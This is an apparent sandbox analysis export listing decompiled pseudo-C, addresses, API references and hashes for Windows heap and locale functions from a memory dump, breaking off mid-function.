Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 23b3c865b0f93f5c3fa450c31069774fdc804850928ef0ab17baa88ee5470a0f
Instruction ID: 68370b4f66605033a69083abb97e631589048fc130fd2bb5a7ec0fca4da0c6a4
Opcode Fuzzy Hash: 23b3c865b0f93f5c3fa450c31069774fdc804850928ef0ab17baa88ee5470a0f
Instruction Fuzzy Hash: F8C112B55093809FD354CF28C580A5ABBF1BF89308F24896EF9998B352DB71E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CD4E1, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 223
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6A9CD4E1(signed int __ecx, signed char __edx, signed int _a4, intOrPtr _a8, void* _a12, signed int* _a16, short* _a20) {
				void* _v8;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				void* _v36;
				signed int _t73;
				signed int _t77;
				void* _t86;
				WCHAR* _t91;
				signed int _t96;
				signed int _t100;
				signed int _t112;
				signed int _t113;
				intOrPtr _t115;
				intOrPtr _t118;
				signed int _t121;
				signed int _t123;
				intOrPtr _t125;
				signed char _t128;
				signed int _t130;
				void* _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t135;
				intOrPtr _t140;
				void* _t141;
				signed int* _t142;
				short* _t143;
				signed int _t144;

				_t128 = __edx;
				_t141 = 0;
				_v12 = __edx;
				_v24 = _v24 & 0;
				_t112 = __ecx;
				_t115 = _a8;
				_t73 = 0;
				_v28 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_t138 = _a4;
				if(__edx != _t115) {
					if(__edx == 0 || _t115 == 0) {
						L53:
						_t113 = 0;
						goto L54;
					} else {
						_t143 = _a20;
						if(_t143 != 0) {
							 *_t143 = 0xffffffff;
						}
						if(_t128 != 2) {
							if(_t115 != 2) {
								if(_t128 != 1) {
									if(_t128 != 3 || _t115 != 1) {
										goto L52;
									} else {
										_t131 = 0x55;
										_t141 = E6A91F358(_t115, _t131);
										if(_t141 == 0) {
											goto L53;
										}
										_v32 = _t141;
										_v36 = 0xaa0000;
										if(E6A923B30(_a12,  &_v36) == 0) {
											goto L53;
										}
										_t132 =  *((intOrPtr*)(_t112 + 0x18));
										_t138 = _a4;
										if(_t132 == 0 || _t138 < 0) {
											L48:
											_t86 = 0;
											goto L49;
										} else {
											_t121 = _t138;
											if(_t121 >= ( *(_t132 + 6) & 0x0000ffff)) {
												goto L48;
											}
											_t86 =  *((intOrPtr*)(_t132 + 0x10)) +  *( *((intOrPtr*)(_t132 + 0xc)) + _t121 * 2) * 2;
											L49:
											if(_t86 == 0 || E6A95E490(_v32, _t86) != 0) {
												goto L53;
											} else {
												_t113 = 1;
												L54:
												if(_t141 != 0) {
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t141);
												}
												goto L11;
											}
										}
									}
								}
								if(_t115 != 3) {
									goto L52;
								}
								_t133 =  *((intOrPtr*)(_t112 + 0x18));
								if(_t133 == 0) {
									L36:
									_t91 = 0;
									L37:
									if(_t91 == 0) {
										goto L52;
									}
									RtlInitUnicodeString( &_v36, _t91);
									if(E6A9243C0( &_v36,  &_v20) == 0) {
										goto L52;
									}
									_t138 = _a4;
									_t113 = _t112 & 0xffffff00 | _a4 == _v20;
									goto L11;
								}
								_t96 = _a12;
								if(_t96 < 0) {
									goto L36;
								}
								_t123 = _t96;
								if(_t123 >= ( *(_t133 + 6) & 0x0000ffff)) {
									goto L36;
								}
								_t91 =  *((intOrPtr*)(_t133 + 0x10)) +  *( *((intOrPtr*)(_t133 + 0xc)) + _t123 * 2) * 2;
								goto L37;
							}
							if(_t112 == 0) {
								goto L52;
							}
							_t100 = _a12;
							if(_t100 < 0) {
								goto L52;
							}
							_t125 =  *((intOrPtr*)(_t112 + 0x14));
							_v20 = _t100;
							if(_v20 >= ( *(_t125 + 6) & 0x0000ffff)) {
								goto L52;
							}
							_t138 = _a4;
							_v16 = _v20 * 0x1c +  *((intOrPtr*)(_t125 + 0xc));
							_t113 = E6A9CDF1D(_t112, _v20 * 0x1c +  *((intOrPtr*)(_t125 + 0xc)), _t128, _a4);
							_t73 = _v16;
							if(_t113 == 0 || _t73 == 0) {
								_t128 = _v12;
								goto L13;
							} else {
								_t128 = _v12;
								if(_t143 == 0) {
									goto L13;
								}
								 *_t143 = _a12;
								goto L12;
							}
						} else {
							if(_t112 == 0 || _t138 < 0) {
								L52:
								_t141 = _v8;
								goto L53;
							} else {
								_t135 =  *((intOrPtr*)(_t112 + 0x14));
								_t144 = _t138;
								if(_t144 >= ( *(_t135 + 6) & 0x0000ffff)) {
									goto L52;
								}
								_v24 = _t144 * 0x1c +  *((intOrPtr*)(_t135 + 0xc));
								_t113 = E6A9CDF1D(_t112, _t144 * 0x1c +  *((intOrPtr*)(_t135 + 0xc)), _t115, _a12);
								L11:
								_t128 = _v12;
								L12:
								_t73 = _v16;
								L13:
								_t142 = _a16;
								if(_t142 == 0) {
									L58:
									return _t113;
								}
								if(_t113 == 0) {
									 *_t142 =  *_t142 & 0x00000000;
									goto L58;
								}
								if(_t73 != 0) {
									L21:
									 *_t142 = _t73;
									goto L58;
								}
								_t73 = _v24;
								if(_t73 != 0) {
									goto L21;
								}
								 *_t142 =  *_t142 & _t73;
								_t140 = _v28;
								if(E6A923AD2(_t140, _t128 & 0x000000ff, _t138,  &_v8) < 0) {
									goto L58;
								}
								_t77 = _v8;
								if(0 > _t77) {
									goto L58;
								}
								_t118 =  *((intOrPtr*)(_t140 + 0x14));
								_t130 = _t77;
								if(_t130 >= ( *(_t118 + 6) & 0x0000ffff)) {
									goto L58;
								}
								_t73 = _t130 * 0x1c +  *((intOrPtr*)(_t118 + 0xc));
								goto L21;
							}
						}
					}
				}
				_t113 = __ecx & 0xffffff00 | _t138 == _a12;
				goto L13;
			}

0x6a9cd4e1
0x6a9cd4eb
0x6a9cd4ed
0x6a9cd4f0
0x6a9cd4f3
0x6a9cd4f5
0x6a9cd4f8
0x6a9cd4fa
0x6a9cd4fd
0x6a9cd500
0x6a9cd504
0x6a9cd509
0x6a9cd516
0x6a9cd73b
0x6a9cd73b
0x00000000
0x6a9cd524
0x6a9cd524
0x6a9cd529
0x6a9cd52e
0x6a9cd52e
0x6a9cd534
0x6a9cd5e6
0x6a9cd656
0x6a9cd6c5
0x00000000
0x6a9cd6cc
0x6a9cd6ce
0x6a9cd6d4
0x6a9cd6d8
0x00000000
0x00000000
0x6a9cd6dd
0x6a9cd6e6
0x6a9cd6f4
0x00000000
0x00000000
0x6a9cd6f6
0x6a9cd6f9
0x6a9cd6fe
0x6a9cd71f
0x6a9cd71f
0x00000000
0x6a9cd705
0x6a9cd709
0x6a9cd70e
0x00000000
0x00000000
0x6a9cd71a
0x6a9cd721
0x6a9cd723
0x00000000
0x6a9cd734
0x6a9cd734
0x6a9cd73d
0x6a9cd73f
0x6a9cd751
0x6a9cd751
0x00000000
0x6a9cd73f
0x6a9cd723
0x6a9cd6fe
0x6a9cd6c5
0x6a9cd65b
0x00000000
0x00000000
0x6a9cd661
0x6a9cd666
0x6a9cd68a
0x6a9cd68a
0x6a9cd68c
0x6a9cd68e
0x00000000
0x00000000
0x6a9cd699
0x6a9cd6ad
0x00000000
0x00000000
0x6a9cd6b3
0x6a9cd6ba
0x00000000
0x6a9cd6ba
0x6a9cd668
0x6a9cd66e
0x00000000
0x00000000
0x6a9cd670
0x6a9cd679
0x00000000
0x00000000
0x6a9cd685
0x00000000
0x6a9cd685
0x6a9cd5ea
0x00000000
0x00000000
0x6a9cd5f0
0x6a9cd5f6
0x00000000
0x00000000
0x6a9cd5fc
0x6a9cd600
0x6a9cd60a
0x00000000
0x00000000
0x6a9cd614
0x6a9cd620
0x6a9cd628
0x6a9cd62a
0x6a9cd62f
0x6a9cd75b
0x00000000
0x6a9cd63d
0x6a9cd63d
0x6a9cd642
0x00000000
0x00000000
0x6a9cd64b
0x00000000
0x6a9cd64b
0x6a9cd53a
0x6a9cd53c
0x6a9cd738
0x6a9cd738
0x00000000
0x6a9cd54b
0x6a9cd54b
0x6a9cd54e
0x6a9cd557
0x00000000
0x00000000
0x6a9cd56b
0x6a9cd573
0x6a9cd575
0x6a9cd575
0x6a9cd578
0x6a9cd578
0x6a9cd57b
0x6a9cd57b
0x6a9cd580
0x6a9cd766
0x6a9cd76e
0x6a9cd76e
0x6a9cd588
0x6a9cd763
0x00000000
0x6a9cd763
0x6a9cd590
0x6a9cd5dc
0x6a9cd5dc
0x00000000
0x6a9cd5dc
0x6a9cd592
0x6a9cd597
0x00000000
0x00000000
0x6a9cd599
0x6a9cd5a0
0x6a9cd5af
0x00000000
0x00000000
0x6a9cd5b5
0x6a9cd5be
0x00000000
0x00000000
0x6a9cd5c4
0x6a9cd5c7
0x6a9cd5d0
0x00000000
0x00000000
0x6a9cd5d9
0x00000000
0x6a9cd5d9
0x6a9cd53c
0x6a9cd534
0x6a9cd516
0x6a9cd50f
0x00000000

APIs

RtlInitUnicodeString.1105(?,00000000,00000001,00000000,?,?,00000000,00000000,6A9271B4,6A9271B4,?,C000000D,?,?,?,?), ref: 6A9CD699
RtlCultureNameToLCID.1105(?,6A9271B4,?,00000000,00000001,00000000,?,?,00000000,00000000,6A9271B4,6A9271B4,?,C000000D,?,?), ref: 6A9CD6A6
RtlLCIDToCultureName.1105(6A9271B4,?,00000001,00000000,?), ref: 6A9CD6ED
_wcsicmp.1105(00000000,00000000,6A9271B4,?,00000001,00000000,?), ref: 6A9CD729
RtlFreeHeap.1105(?,00000000,00000000,00000001,00000000,?,?,00000000,00000000,6A9271B4,6A9271B4,?,C000000D,?,?,?), ref: 6A9CD751

Strings

MUI, xrefs: 6A9CD694, 6A9CD725

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureName$FreeHeapInitStringUnicode_wcsicmp
String ID: MUI
API String ID: 3981842732-1339004836
Opcode ID: e4190bdba769db170bdf03e4438b82029291753f772159210f9cf24315aaed2f
Instruction ID: b085a5577360b8eb46f0db7015c7bf9c3b4ec87a41d08a0016dc21f38cbc1d68
Opcode Fuzzy Hash: e4190bdba769db170bdf03e4438b82029291753f772159210f9cf24315aaed2f
Instruction Fuzzy Hash: 3371D375A80A2A9BDB10CF54C580ABEB7F9AF15704F76415ADC129B305FB30DA41CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6A91E8B0, Relevance: 10.7, APIs: 7, Instructions: 190
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6A91E8B0(void* __ecx, signed int* _a4, signed int _a8) {
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int _t100;
				signed int _t101;
				signed int _t123;
				long _t131;
				signed int* _t134;

				_t134 = _a4;
				_t131 = 0;
				if(_t134 == 0) {
					L70:
					_t131 = 0xc000000d;
					L15:
					return _t131;
				}
				_t123 = _a8;
				if(_t123 == 0) {
					goto L70;
				}
				if((_t123 & 0x00000400) != 0) {
					_t123 = 0xfff;
				}
				if((_t123 & 0x00000001) != 0) {
					if(_t134[5] != _t131) {
						if(( *_t134 & 0x00000001) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[5]);
						}
						_t134[5] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffffe;
				}
				if((_t123 & 0x00000002) != 0) {
					if(_t134[6] != _t131) {
						if(( *_t134 & 0x00000002) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[6]);
						}
						_t134[6] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffffd;
				}
				if((_t123 & 0x00000004) != 0) {
					if(_t134[7] != _t131) {
						if(( *_t134 & 0x00000004) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[7]);
						}
						_t134[7] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffffb;
				}
				if((_t123 & 0x00000008) != 0) {
					if(_t134[8] != _t131) {
						if(( *_t134 & 0x00000008) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[8]);
						}
						_t134[8] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffff7;
				}
				if((_t123 & 0x00000010) != 0) {
					_t97 = _t134[9];
					if(_t97 != 0) {
						if(( *_t134 & 0x00000010) != 0) {
							 *(_t97 + 0x20) =  *(_t97 + 0x20) & 0xffffffbf;
							E6A9276E2(_t134[9]);
						}
						_t134[9] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffffef;
				}
				if((_t123 & 0x00000020) != 0) {
					_t98 = _t134[0xa];
					if(_t98 != 0) {
						if(( *_t134 & 0x00000020) != 0) {
							 *(_t98 + 0x20) =  *(_t98 + 0x20) & 0xffffffbf;
							E6A9276E2(_t134[0xa]);
						}
						_t134[0xa] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffffdf;
				}
				if((_t123 & 0x00000040) != 0) {
					_t99 = _t134[0xd];
					if(_t99 != 0) {
						if(( *_t134 & 0x00000040) != 0) {
							 *(_t99 + 0x20) =  *(_t99 + 0x20) & 0xffffffbf;
							E6A9276E2(_t134[0xd]);
						}
						_t134[0xd] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffffbf;
				}
				if(_t123 < 0) {
					_t100 = _t134[0xc];
					if(_t100 != 0) {
						if(( *_t134 & 0x00000080) != 0) {
							 *(_t100 + 0x20) =  *(_t100 + 0x20) & 0xffffffbf;
							E6A9276E2(_t134[0xc]);
						}
						_t134[0xc] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffff7f;
				}
				_t125 = 0x200;
				if((0x00000200 & _t123) != 0) {
					_t101 = _t134[0xe];
					if(_t101 != 0) {
						if(( *_t134 & 0x00000200) != 0) {
							 *(_t101 + 0x20) =  *(_t101 + 0x20) & 0xffffffbf;
							_t125 = _t134[0xe];
							E6A9276E2(_t134[0xe]);
						}
						_t134[0xe] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffdff;
				}
				if((0x00000800 & _t123) != 0) {
					if(_t134[0x14] != _t131) {
						if(( *_t134 & 0x00000800) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[0x14]);
						}
						_t134[0x14] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffff7ff;
				}
				if((_t123 & 0x00000fff) != 0 && _t134[0xf] != _t131) {
					E6A91E8B0(_t125, _t134[0xf], _t123);
					if(_t134[0xf] != _t131) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[0xf]);
					}
					_t134[0xf] = _t131;
				}
			}

0x6a91e8bb
0x6a91e8bf
0x6a91e8c3
0x6a9757a2
0x6a9757a2
0x6a91e942
0x6a91e94a
0x6a91e94a
0x6a91e8c9
0x6a91e8ce
0x00000000
0x00000000
0x6a91e8da
0x6a97564f
0x6a97564f
0x6a91e8e3
0x6a91e98f
0x6a97565c
0x6a97566b
0x6a97566b
0x6a975670
0x6a975670
0x6a91e995
0x6a91e995
0x6a91e8ec
0x6a91e9a0
0x6a97567b
0x6a97568a
0x6a97568a
0x6a97568f
0x6a97568f
0x6a91e9a6
0x6a91e9a6
0x6a91e8f5
0x6a91e950
0x6a97569a
0x6a9756a9
0x6a9756a9
0x6a9756ae
0x6a9756ae
0x6a91e956
0x6a91e956
0x6a91e8fa
0x6a91e95e
0x6a9756b9
0x6a9756c8
0x6a9756c8
0x6a9756cd
0x6a9756cd
0x6a91e964
0x6a91e964
0x6a91e8ff
0x6a91e969
0x6a91e96e
0x6a9756d8
0x6a9756da
0x6a9756e1
0x6a9756e1
0x6a9756e6
0x6a9756e6
0x6a91e974
0x6a91e974
0x6a91e904
0x6a91e979
0x6a91e97e
0x6a9756f1
0x6a9756f3
0x6a9756fa
0x6a9756fa
0x6a9756ff
0x6a9756ff
0x6a91e984
0x6a91e984
0x6a91e909
0x6a91e9ae
0x6a91e9b3
0x6a97570a
0x6a97570c
0x6a975713
0x6a975713
0x6a975718
0x6a975718
0x6a91e9b9
0x6a91e9b9
0x6a91e911
0x6a91e9c1
0x6a91e9c6
0x6a975723
0x6a975725
0x6a97572c
0x6a97572c
0x6a975731
0x6a975731
0x6a91e9cc
0x6a91e9cc
0x6a91e917
0x6a91e91e
0x6a91e9d7
0x6a91e9dc
0x6a97573b
0x6a97573d
0x6a975741
0x6a975744
0x6a975744
0x6a975749
0x6a975749
0x6a91e9e2
0x6a91e9e2
0x6a91e92b
0x6a975754
0x6a975758
0x6a975767
0x6a975767
0x6a97576c
0x6a97576c
0x6a97576f
0x6a97576f
0x6a91e937
0x6a97577e
0x6a975786
0x6a975795
0x6a975795
0x6a97579a
0x6a97579a

APIs

RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6A9CD3A0,00000000,00000FFF,00000000,?,6A979578,00000000), ref: 6A97568A
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6A9CD3A0,00000000,00000FFF,00000000,?,6A979578,00000000), ref: 6A9756A9
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6A9CD3A0,00000000,00000FFF,00000000,?,6A979578,00000000), ref: 6A9756C8

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction ID: afc19d6bd2b5994e296097f1246347593d1c12200ffb8f66b5d3ff7a6b34515f
Opcode Fuzzy Hash: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction Fuzzy Hash: 9B715B71548B49DFD7B18E19C680B22B7F9BF52765F310A1DD9E2069E1EF20E840CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A93B73D, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6A93B73D(void* __ecx, signed int __edx, intOrPtr* _a4, unsigned int _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t72;
				char _t76;
				signed char _t77;
				intOrPtr* _t80;
				unsigned int _t85;
				signed int* _t86;
				signed int _t88;
				signed char _t89;
				intOrPtr _t90;
				intOrPtr _t101;
				intOrPtr* _t111;
				void* _t117;
				intOrPtr* _t118;
				signed int _t120;
				signed char _t121;
				intOrPtr* _t123;
				signed int _t126;
				intOrPtr _t136;
				signed int _t139;
				void* _t140;
				signed int _t141;
				void* _t147;

				_t111 = _a4;
				_t140 = __ecx;
				_v8 = __edx;
				_t3 = _t111 + 0x18; // 0x0
				 *((intOrPtr*)(_t111 + 0x10)) = _t3;
				_t5 = _t111 - 8; // -32
				_t141 = _t5;
				 *(_t111 + 0x14) = _a8;
				_t72 = 4;
				 *(_t141 + 2) = 1;
				 *_t141 = _t72;
				 *((char*)(_t141 + 7)) = 3;
				_t134 =  *((intOrPtr*)(__edx + 0x18));
				if( *((intOrPtr*)(__edx + 0x18)) != __edx) {
					_t76 = (_t141 - __edx >> 0x10) + 1;
					_v12 = _t76;
					__eflags = _t76 - 0xfe;
					if(_t76 >= 0xfe) {
						_push(__edx);
						_push(0);
						E6A9DA80D(_t134, 3, _t141, __edx);
						_t76 = _v12;
					}
				} else {
					_t76 = 0;
				}
				 *((char*)(_t141 + 6)) = _t76;
				if( *0x6aa08748 >= 1) {
					__eflags = _a12 - _t141;
					if(_a12 <= _t141) {
						goto L4;
					}
					_t101 =  *[fs:0x30];
					__eflags =  *(_t101 + 0xc);
					if( *(_t101 + 0xc) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push("((PHEAP_ENTRY)LastKnownEntry <= Entry)");
					E6A91B150();
					__eflags =  *0x6aa07bc8;
					if(__eflags == 0) {
						E6A9D2073(_t111, 1, _t140, __eflags);
					}
					goto L3;
				} else {
					L3:
					_t147 = _a12 - _t141;
					L4:
					if(_t147 != 0) {
						 *((short*)(_t141 + 4)) =  *((intOrPtr*)(_t140 + 0x54));
					}
					if( *((intOrPtr*)(_t140 + 0x4c)) != 0) {
						 *(_t141 + 3) =  *(_t141 + 1) ^  *(_t141 + 2) ^  *_t141;
						 *_t141 =  *_t141 ^  *(_t140 + 0x50);
					}
					_t135 =  *(_t111 + 0x14);
					if( *(_t111 + 0x14) == 0) {
						L12:
						_t77 =  *((intOrPtr*)(_t141 + 6));
						if(_t77 != 0) {
							_t117 = (_t141 & 0xffff0000) - ((_t77 & 0x000000ff) << 0x10) + 0x10000;
						} else {
							_t117 = _t140;
						}
						_t118 = _t117 + 0x38;
						_t26 = _t111 + 8; // -16
						_t80 = _t26;
						_t136 =  *_t118;
						if( *((intOrPtr*)(_t136 + 4)) != _t118) {
							_push(_t118);
							_push(0);
							E6A9DA80D(0, 0xd, _t118,  *((intOrPtr*)(_t136 + 4)));
						} else {
							 *_t80 = _t136;
							 *((intOrPtr*)(_t80 + 4)) = _t118;
							 *((intOrPtr*)(_t136 + 4)) = _t80;
							 *_t118 = _t80;
						}
						_t120 = _v8;
						 *((intOrPtr*)(_t120 + 0x30)) =  *((intOrPtr*)(_t120 + 0x30)) + 1;
						 *((intOrPtr*)(_t120 + 0x2c)) =  *((intOrPtr*)(_t120 + 0x2c)) + ( *(_t111 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t140 + 0x1e8)) =  *((intOrPtr*)(_t140 + 0x1e8)) -  *(_t111 + 0x14);
						 *((intOrPtr*)(_t140 + 0x1f8)) =  *((intOrPtr*)(_t140 + 0x1f8)) + 1;
						if( *((intOrPtr*)(_t140 + 0x1f8)) > 0xa) {
							__eflags =  *(_t140 + 0xb8);
							if( *(_t140 + 0xb8) == 0) {
								_t88 =  *(_t140 + 0x40) & 0x00000003;
								__eflags = _t88 - 2;
								_t121 = _t120 & 0xffffff00 | _t88 == 0x00000002;
								__eflags =  *0x6aa08720 & 0x00000001;
								_t89 = _t88 & 0xffffff00 | ( *0x6aa08720 & 0x00000001) == 0x00000000;
								__eflags = _t89 & _t121;
								if((_t89 & _t121) != 0) {
									 *(_t140 + 0x48) =  *(_t140 + 0x48) | 0x10000000;
								}
							}
						}
						_t85 =  *(_t111 + 0x14);
						if(_t85 >= 0x7f000) {
							 *((intOrPtr*)(_t140 + 0x1ec)) =  *((intOrPtr*)(_t140 + 0x1ec)) + _t85;
						}
						_t86 = _a16;
						 *_t86 = _t141 - _a12 >> 3;
						return _t86;
					} else {
						_t90 = E6A93B8E4(_t135);
						_t123 =  *((intOrPtr*)(_t90 + 4));
						if( *_t123 != _t90) {
							_push(_t123);
							_push( *_t123);
							E6A9DA80D(0, 0xd, _t90, 0);
						} else {
							 *_t111 = _t90;
							 *((intOrPtr*)(_t111 + 4)) = _t123;
							 *_t123 = _t111;
							 *((intOrPtr*)(_t90 + 4)) = _t111;
						}
						_t139 =  *(_t140 + 0xb8);
						if(_t139 != 0) {
							_t93 =  *(_t111 + 0x14) >> 0xc;
							__eflags = _t93;
							while(1) {
								__eflags = _t93 -  *((intOrPtr*)(_t139 + 4));
								if(_t93 <  *((intOrPtr*)(_t139 + 4))) {
									break;
								}
								_t126 =  *_t139;
								__eflags = _t126;
								if(_t126 != 0) {
									_t139 = _t126;
									continue;
								}
								_t93 =  *((intOrPtr*)(_t139 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t139 + 4)) - 1;
								break;
							}
							E6A93E4A0(_t140, _t139, 0, _t111, _t93,  *(_t111 + 0x14));
						}
						goto L12;
					}
				}
			}

0x6a93b746
0x6a93b74b
0x6a93b74d
0x6a93b750
0x6a93b755
0x6a93b758
0x6a93b758
0x6a93b75e
0x6a93b763
0x6a93b764
0x6a93b76a
0x6a93b76d
0x6a93b771
0x6a93b776
0x6a93b85c
0x6a93b85d
0x6a93b860
0x6a93b865
0x6a982ba1
0x6a982ba2
0x6a982ba9
0x6a982bae
0x6a982bae
0x6a93b77c
0x6a93b77c
0x6a93b77c
0x6a93b785
0x6a93b788
0x6a982bb6
0x6a982bb9
0x00000000
0x00000000
0x6a982bbf
0x6a982bc5
0x6a982bc9
0x6a982be8
0x6a982bed
0x6a982bcb
0x6a982be0
0x6a982be5
0x6a982bf3
0x6a982bf8
0x6a982bfd
0x6a982c05
0x6a982c0e
0x6a982c0e
0x00000000
0x6a93b78e
0x6a93b78e
0x6a93b78e
0x6a93b791
0x6a93b791
0x6a93b797
0x6a93b797
0x6a93b79f
0x6a93b7a9
0x6a93b7af
0x6a93b7af
0x6a93b7b1
0x6a93b7b6
0x6a93b7e2
0x6a93b7e2
0x6a93b7e7
0x6a93b880
0x6a93b7ed
0x6a93b7ed
0x6a93b7ed
0x6a93b7ef
0x6a93b7f2
0x6a93b7f2
0x6a93b7f5
0x6a93b7fa
0x6a982c2d
0x6a982c2e
0x6a982c39
0x6a93b800
0x6a93b800
0x6a93b802
0x6a93b805
0x6a93b808
0x6a93b808
0x6a93b80a
0x6a93b80d
0x6a93b816
0x6a93b81c
0x6a93b822
0x6a93b82f
0x6a93b88b
0x6a93b892
0x6a93b897
0x6a93b899
0x6a93b89b
0x6a93b89e
0x6a93b8a5
0x6a93b8a8
0x6a93b8aa
0x6a93b8ac
0x6a93b8ac
0x6a93b8aa
0x6a93b892
0x6a93b831
0x6a93b839
0x6a93b83b
0x6a93b83b
0x6a93b844
0x6a93b84b
0x6a93b852
0x6a93b7b8
0x6a93b7ba
0x6a93b7bf
0x6a93b7c4
0x6a982c18
0x6a982c19
0x6a982c23
0x6a93b7ca
0x6a93b7ca
0x6a93b7cc
0x6a93b7cf
0x6a93b7d1
0x6a93b7d1
0x6a93b7d4
0x6a93b7dc
0x6a93b8bb
0x6a93b8bb
0x6a93b8be
0x6a93b8be
0x6a93b8c1
0x00000000
0x00000000
0x6a93b8c3
0x6a93b8c5
0x6a93b8c7
0x6a93b8e0
0x00000000
0x6a93b8e0
0x6a93b8cc
0x6a93b8cc
0x00000000
0x6a93b8cc
0x6a93b8d6
0x6a93b8d6
0x00000000
0x6a93b7dc
0x6a93b7b6

Strings

HEAP: , xrefs: 6A982BE8
HEAP[%wZ]: , xrefs: 6A982BDB
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 6A982BF3

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 57e3ef19598879b858d155f4cff926ed77a011575734cc6a30f51bd32599b07d
Instruction ID: a4550feb5604266d97026c0cfc14e3b57075116ef79b41ef2f531ad342bc6ff4
Opcode Fuzzy Hash: 57e3ef19598879b858d155f4cff926ed77a011575734cc6a30f51bd32599b07d
Instruction Fuzzy Hash: 2061D171604A15EFDB18CF28C484B6ABBF5FF45304F25856EE8598F642DB70E881CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9495EC, Relevance: 10.7, APIs: 7, Instructions: 165
timelibraryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6A9495EC(intOrPtr __ecx, signed int __edx, intOrPtr _a4) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t55;
				signed int _t59;
				signed int* _t62;
				void* _t68;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t92;
				signed int _t95;
				signed int _t111;
				signed int _t114;
				signed int _t116;

				_v8 =  *0x6aa0d360 ^ _t116;
				_t114 = __edx;
				_v28 = __ecx;
				_v24 = 0;
				_v20 = 0;
				_t115 =  *((intOrPtr*)(__edx + 0x58));
				if(_t115 != 0) {
					_push( &_v20);
					_push(0);
					_push(0);
